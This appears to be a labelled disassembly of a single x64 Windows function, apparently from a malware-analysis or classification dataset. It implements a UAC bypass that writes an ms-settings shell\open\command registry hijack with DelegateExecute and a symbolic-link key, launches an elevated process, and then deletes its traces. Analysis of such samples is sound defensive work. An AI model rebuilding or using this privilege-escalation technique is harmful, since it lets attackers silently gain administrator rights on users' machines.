Function at 0x140001000
Capabilities:
Create process on windows
Delete registry key
Delete registry value
Self delete
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xb70]
sub rsp, 0xc70
mov rax, qword [0x14001e008]
xor rax, rsp
mov qword [rbp + 0xb60], rax
xor eax, eax
mov qword [rbp + 0xc8], rdx
mov r15d, eax
mov qword [rbp - 0x40], rax
mov ebx, eax
mov qword [rsp + 0x68], rax
mov qword [rbp - 0x80], rax
xor ecx, ecx
lea rax, str.SymbolicLinkValue
mov dword [rsp + 0x54], 0xc0000022
lea edx, [r15 + 2]
mov byte [rsp + 0x50], 0
mov r12, r8
mov dword [rbp - 8], 0x240022
mov qword [rbp], rax
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov dword [rsp + 0x58], eax
lea rdi, [rbp + 0x750]
xor eax, eax
mov ecx, 0x410
rep stosb byte [rdi], al
lea rcx, [rbp + 0xe0]
call qword [sym.imp.ntdll.dll_RtlFormatCurrentUserKeyPath]
lea rdi, str.SoftwareClasses
lea r14d, [r15 + 0x5c]
lea r13d, [r15 + 0x53]
lea rsi, str.ms_settings
test eax, eax
js 0x1400016a9
movaps xmm0, xmmword [rbp + 0xe0]
lea r8, [rbp - 0x38]
xor eax, eax
movdqa xmmword [rbp + 0xf0], xmm0
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
mov qword [rbp - 0x50], rax
xorps xmm0, xmm0
mov qword [rbp - 0x30], rax
mov edx, 0x2000000
lea rax, [rbp + 0xf0]
mov dword [rbp - 0x38], 0x30
mov qword [rbp - 0x28], rax
movdqu xmmword [rbp - 0x18], xmm0
mov dword [rbp - 0x20], 0x40
call qword [sym.imp.ntdll.dll_NtOpenKey]
test eax, eax
jns 0x140001121
lea rcx, [rbp + 0xf0]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
jmp 0x1400016a9
mov rdx, rdi
lea rcx, [rbp + 0x100]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rax, [rbp + 0x100]
xor r9d, r9d
mov qword [rbp - 0x28], rax
lea r8, [rbp - 0x38]
mov rax, qword [rsp + 0x70]
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x30], rax
mov edx, 0x2000000
lea rax, [rbp + 0xd8]
mov qword [rsp + 0x30], rax
xor eax, eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtCreateKey]
mov rcx, qword [rsp + 0x70]
test eax, eax
mov edi, eax
cmovns rbx, qword [rbp - 0x50]
call qword [sym.imp.ntdll.dll_NtClose]
test edi, edi
js 0x14000168e
xor eax, eax
mov dword [rbp + 0x750], r14d
lea rcx, [rbp + 0x110]
mov qword [rsp + 0x78], rax
mov r15d, 0xc0000022
mov qword [rsp + 0x60], rbx
call qword [sym.imp.ole32.dll_CoCreateGuid]
mov esi, 0x104
test eax, eax
jne 0x140001310
lea rdx, [rsp + 0x78]
mov qword [rsp + 0x60], rbx
lea rcx, [rbp + 0x110]
call qword [sym.imp.ole32.dll_StringFromCLSID]
test eax, eax
jne 0x140001310
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x60], rbx
test rdx, rdx
je 0x1400011fe
mov qword [rsp + 0x60], rbx
cmp word [rdx], ax
je 0x1400011fe
mov qword [rsp + 0x60], rbx
mov rax, rsi
test rdx, rdx
je 0x14000124a
cmp word [rdx], 0
lea rcx, [rbp + 0x752]
je 0x140001245
lea rdi, [rbp + 0x752]
mov r8, rdx
sub r8, rdi
lea rdi, [rax - 1]
test rdi, rdi
je 0x140001245
test rax, rax
je 0x140001245
movzx eax, word [r8 + rcx]
mov word [rcx], ax
add rcx, 2
mov rax, rdi
cmp word [r8 + rcx], 0
jne 0x140001220
xor eax, eax
mov word [rcx], ax
lea r8, [rbp - 0x48]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x140001310
mov rdi, qword [rbp - 0x48]
lea rdx, str.DelegateExecute
xor r15d, r15d
lea rcx, [rbp + 0x38]
mov dword [rbp + 0xc0], r15d
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rax, [rbp + 0xc0]
mov dword [rsp + 0x28], r15d
lea r9d, [r15 + 1]
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp + 0x38]
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtSetValueKey]
mov r15d, eax
test eax, eax
js 0x140001306
mov rax, r12
test r12, r12
jne 0x1400012b8
xor ecx, ecx
mov eax, ecx
jmp 0x1400012d2
cmp word [r12], 0
je 0x1400012ca
add rax, 2
cmp word [rax], 0
jne 0x1400012c0
sub rax, r12
sar rax, 1
xor ecx, ecx
lea eax, [rax*2 + 2]
mov qword [rbp - 0x58], rcx
mov dword [rsp + 0x28], eax
lea rdx, [rbp - 0x60]
mov r9d, 1
mov qword [rsp + 0x20], r12
xor r8d, r8d
mov dword [rbp - 0x60], 0
mov rcx, rdi
call qword [sym.imp.ntdll.dll_NtSetValueKey]
mov r15d, eax
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
test r15d, r15d
js 0x140001697
cmp word [rbp + 0x750], 0
lea rcx, [rbp + 0x750]
mov byte [rsp + 0x50], 1
je 0x14000134a
nop word [rax + rax]
add rcx, 2
cmp word [rcx], 0
jne 0x140001340
lea rax, [rbp + 0x750]
mov edx, 8
sub rcx, rax
movzx eax, word [rbp + 0xe2]
sar rcx, 1
add rax, rsi
lea rdi, [rax + rcx*2]
mov rcx, qword [0x14001fc20]
mov r8, rdi
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov r15, rax
test rax, rax
je 0x14000169b
xor r12d, r12d
mov qword [rbp - 0x68], rax
lea rdx, [rbp + 0xe0]
mov word [rbp - 0x70], r12w
lea rcx, [rbp - 0x70]
mov word [rbp - 0x6e], di
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeStringToString]
lea rdi, str.SoftwareClasses
test eax, eax
js 0x1400016a2
mov rdx, rdi
mov dword [rbp + 0x540], r14d
lea r8, [rbp + 0x542]
movzx ecx, r13w
sub rdx, r8
lea rax, [rbp + 0x542]
nop word [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x1400013e0
lea rdx, [rbp + 0x540]
mov word [rax], r12w
lea rcx, [rbp - 0x70]
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeToString]
test eax, eax
js 0x1400016a2
lea rdx, [rbp + 0x750]
lea rcx, [rbp - 0x70]
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeToString]
test eax, eax
js 0x1400016a2
lea rdi, str.ms_settings
lea rax, [rbp + 0x130]
sub rdi, rax
lea rcx, [rbp + 0x130]
nop
lea rdx, [rsi - 1]
test rdx, rdx
je 0x140001463
test rsi, rsi
je 0x140001463
movzx eax, word [rdi + rcx]
mov rsi, rdx
mov word [rcx], ax
add rcx, 2
cmp word [rdi + rcx], r12w
jne 0x140001440
xor esi, esi
lea rax, [rbp + 0x130]
mov word [rcx], si
cmp word [rbp + 0x130], si
je 0x140001489
nop dword [rax + rax]
add rax, 2
cmp word [rax], si
jne 0x140001480
lea r12, str._shellopen
movzx ecx, r14w
mov rdx, r12
sub rdx, rax
nop word [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x1400014a0
mov qword [rsp + 0x40], rsi
lea rdx, [rbp + 0x130]
mov word [rax], si
xor r9d, r9d
lea rax, [rbp - 0x40]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rcx, rbx
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000167e
lea rdx, str.command
lea rcx, [rbp + 0x120]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov rax, qword [rbp - 0x40]
lea r8, [rbp + 8]
mov qword [rbp + 0x10], rax
lea rcx, [rsp + 0x68]
lea rax, [rbp + 0x120]
mov dword [rbp + 8], 0x30
mov qword [rbp + 0x18], rax
xorps xmm0, xmm0
lea rax, [rbp + 0xdc]
mov dword [rbp + 0x20], 0x40
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], 3
mov edx, 0xf003f
mov qword [rsp + 0x20], rsi
movdqu xmmword [rbp + 0x28], xmm0
call qword [sym.imp.ntdll.dll_NtCreateKey]
cmp eax, 0xc0000035
jne 0x14000157f
or dword [rbp + 0x20], 0x100
lea r8, [rbp + 8]
mov edx, 0xf003f
lea rcx, [rsp + 0x68]
call qword [sym.imp.ntdll.dll_NtOpenKey]
test eax, eax
js 0x14000167e
mov rcx, qword [rbp - 0x68]
mov rax, rcx
test rcx, rcx
je 0x1400015aa
cmp word [rcx], si
je 0x1400015aa
nop dword [rax + rax]
cmp word [rax + 2], si
lea rax, [rax + 2]
jne 0x1400015a0
movzx eax, word [rbp - 0x70]
lea rdx, [rbp - 8]
mov dword [rsp + 0x28], eax
mov r9d, 6
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ntdll.dll_NtSetValueKey]
test eax, eax
js 0x14000167e
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ntdll.dll_NtClose]
xor eax, eax
mov qword [rsp + 0x68], rsi
mov ecx, 0x70
lea rdi, [rbp + 0x50]
rep stosb byte [rdi], al
mov rax, qword [rbp + 0xc8]
lea rcx, [rbp + 0x50]
mov qword [rbp + 0x68], rax
mov ebx, esi
mov dword [rbp + 0x50], 0x70
mov dword [rbp + 0x54], 0x440
mov qword [rbp + 0x70], rsi
mov dword [rbp + 0x80], 5
mov qword [rbp + 0x60], rsi
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x140001669
mov rdi, qword [rbp + 0xb8]
test rdi, rdi
je 0x140001669
mov edx, 0x2ee0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x14000165b
mov edx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
test ebx, ebx
mov eax, esi
mov rbx, qword [rsp + 0x60]
mov ecx, 0xc0000022
cmove eax, ecx
mov dword [rsp + 0x54], eax
lea rdi, str.SoftwareClasses
lea rsi, str.ms_settings
jmp 0x1400016b0
lea rdi, str.SoftwareClasses
jmp 0x1400016a9
mov r15, qword [rbp - 0x80]
lea rdi, str.SoftwareClasses
lea rsi, str.ms_settings
lea r12, str._shellopen
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400016c0
call qword [sym.imp.ntdll.dll_NtClose]
test r15, r15
je 0x1400016d7
mov rcx, qword [0x14001fc20]
mov r8, r15
xor edx, edx
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
test rbx, rbx
je 0x1400016fc
cmp byte [rsp + 0x50], 0
je 0x1400016f3
lea rdx, [rbp + 0x752]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rcx, rbx
call qword [sym.imp.ntdll.dll_NtClose]
cmp dword [rsp + 0x58], 0
jl 0x140001709
call qword [sym.imp.ole32.dll_CoUninitialize]
xor r15d, r15d
mov dword [rbp + 0x130], r14d
lea rcx, [rbp + 0x132]
sub rdi, rcx
lea rax, [rbp + 0x132]
nop dword [rax]
nop dword [rax + rax]
mov word [rax], r13w
lea rax, [rax + 2]
movzx r13d, word [rdi + rax]
test r13w, r13w
jne 0x140001730
mov word [rax], r15w
lea rax, [rbp + 0x130]
cmp word [rbp + 0x130], r15w
je 0x14000176a
nop dword [rax + rax]
add rax, 2
cmp word [rax], r15w
jne 0x140001760
lea rdi, [0x14001b4b8]
movzx ecx, r14w
mov rdx, rdi
sub rdx, rax
nop dword [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140001780
mov word [rax], r15w
lea rax, [rbp + 0x130]
cmp word [rbp + 0x130], r15w
je 0x1400017af
add rax, 2
cmp word [rax], r15w
jne 0x1400017a5
mov ecx, 0x6d
sub rsi, rax
nop word [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rsi + rax]
test cx, cx
jne 0x1400017c0
mov word [rax], r15w
lea rax, [rbp + 0x130]
cmp word [rbp + 0x130], r15w
je 0x1400017ef
add rax, 2
cmp word [rax], r15w
jne 0x1400017e5
movzx ecx, r14w
sub r12, rax
nop word [rax + rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [r12 + rax]
test cx, cx
jne 0x140001800
mov word [rax], r15w
lea rax, [rbp + 0x130]
cmp word [rbp + 0x130], r15w
je 0x140001830
add rax, 2
cmp word [rax], r15w
jne 0x140001826
sub rdi, rax
mov word [rax], r14w
lea rax, [rax + 2]
movzx r14d, word [rdi + rax]
test r14w, r14w
jne 0x140001833
mov word [rax], r15w
lea rax, [rbp + 0x130]
cmp word [rbp + 0x130], r15w
je 0x14000186a
nop dword [rax + rax]
add rax, 2
cmp word [rax], r15w
jne 0x140001860
lea rdx, str.command
mov ecx, 0x63
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rdx + rax]
test cx, cx
jne 0x140001880
mov word [rax], r15w
lea rdi, [rbp + 0x130]
lea rax, str.SymbolicLinkValue
mov dword [rbp - 0x60], 0x240022
mov qword [rbp - 0x58], rax
mov qword [rsp + 0x60], r15
cmp word [rbp + 0x130], r15w
je 0x1400018ca
nop dword [rax]
add rdi, 2
cmp word [rdi], r15w
jne 0x1400018c0
lea rax, [rbp + 0x130]
mov dword [rbp - 0x38], 0x30
sub rdi, rax
mov qword [rbp - 0x30], r15
lea rax, [rbp - 0x80]
sar rdi, 1
xorps xmm0, xmm0
mov qword [rbp - 0x28], rax
lea rcx, [rbp + 0xc8]
mov dword [rbp - 0x20], 0x40
movdqu xmmword [rbp - 0x18], xmm0
call qword [sym.imp.ntdll.dll_RtlFormatCurrentUserKeyPath]
test eax, eax
js 0x1400019de
movzx ebx, word [rbp + 0xca]
lea ecx, [rdi + rdi]
add rbx, 2
mov edx, 8
add rbx, rcx
mov rcx, qword [0x14001fc20]
mov r8, rbx
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rdi, rax
test rax, rax
je 0x1400019d1
lea rdx, [rbp + 0xc8]
mov qword [rbp - 0x78], rax
lea rcx, [rbp - 0x80]
mov word [rbp - 0x80], r15w
mov word [rbp - 0x7e], bx
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeStringToString]
test eax, eax
js 0x1400019bf
lea rdx, [rbp + 0x130]
lea rcx, [rbp - 0x80]
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeToString]
test eax, eax
js 0x1400019bf
lea r8, [rbp - 0x38]
mov dword [rbp - 0x20], 0x140
mov edx, 0xf003f
lea rcx, [rsp + 0x60]
call qword [sym.imp.ntdll.dll_NtOpenKey]
test eax, eax
js 0x1400019bf
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp - 0x60]
call qword [sym.imp.ntdll.dll_NtDeleteValueKey]
test eax, eax
js 0x1400019b4
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ntdll.dll_NtDeleteKey]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [0x14001fc20]
mov r8, rdi
xor edx, edx
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
lea rcx, [rbp + 0xc8]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
mov eax, dword [rsp + 0x54]
mov rcx, qword [rbp + 0xb60]
xor rcx, rsp
call fcn.140001bc0
mov rbx, qword [rsp + 0xcb0]
add rsp, 0xc70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret